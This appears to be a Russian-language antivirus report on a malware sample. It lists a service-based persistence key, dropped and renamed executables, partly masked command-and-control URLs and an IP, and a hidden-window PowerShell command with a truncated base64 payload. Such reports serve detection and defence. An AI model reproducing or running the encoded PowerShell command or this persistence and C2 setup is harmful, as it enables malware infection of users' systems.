Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\KBDDIV1] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDDIV1] 'ImagePath' = '"%WINDIR%\SysWOW64\mmc\KBDDIV1.exe"'
- 'KBDDIV1' "%WINDIR%\SysWOW64\mmc\KBDDIV1.exe"
- 'KBDDIV1' %WINDIR%\SysWOW64\mmc\KBDDIV1.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAGIAegBoAHgAZQB4AD0AJwBOAHkAOQAzADAANABoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAVQByAGkAVABZAGAAcAByAE8AdABPAGMAYABvAGwAIgAgAD0AIAAnAH...
- %TEMP%\zwzm.exe
- %WINDIR%\syswow64\mmc\kbddiv1.exe
- %TEMP%\zwzm.exe в %WINDIR%\syswow64\mmc\kbddiv1.exe
- '75.##9.38.211':80
- http://sy####glogin.com/cgi-bin/ho_iewdm_x99w/
- http://75.##9.38.211/ADKypXATDv/
- DNS ASK sy####glogin.com
- '%TEMP%\zwzm.exe'
- '%WINDIR%\syswow64\mmc\kbddiv1.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAGIAegBoAHgAZQB4AD0AJwBOAHkAOQAzADAANABoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAVQByAGkAVABZAGAAcAByAE8AdABPAGMAYABvAGwAIgAgAD0AIAAnAH...' (со скрытым окном)